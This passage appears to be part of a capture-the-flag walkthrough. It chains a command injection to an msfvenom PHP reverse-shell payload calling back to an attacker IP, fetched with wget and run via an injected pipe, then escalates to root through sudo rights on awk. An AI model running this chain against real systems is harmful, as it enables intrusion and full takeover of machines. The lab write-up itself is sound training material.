Let’s Check the command

And this is working after the command I see the output

After Check command injection work and create our payload with Metasploit

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4545 -f raw

open vi editor save the output text payload.php

create a Python Server

wget command download our payload target machine

Execute our payload this command 127.0.0.1 | php payload.php

And got a reverse connection

First import python for proper shell

and I see our 3 flag

Privilege Escalation

For finding the 4th flag we need to escalate root privilege, let’s identify sudo rights for Alice with the help of the following command.

So here Alice can run awk as root without using the password and we can easily spawn root shell by exploiting this permission

FLAG 4: COMPLETE! Congratulations
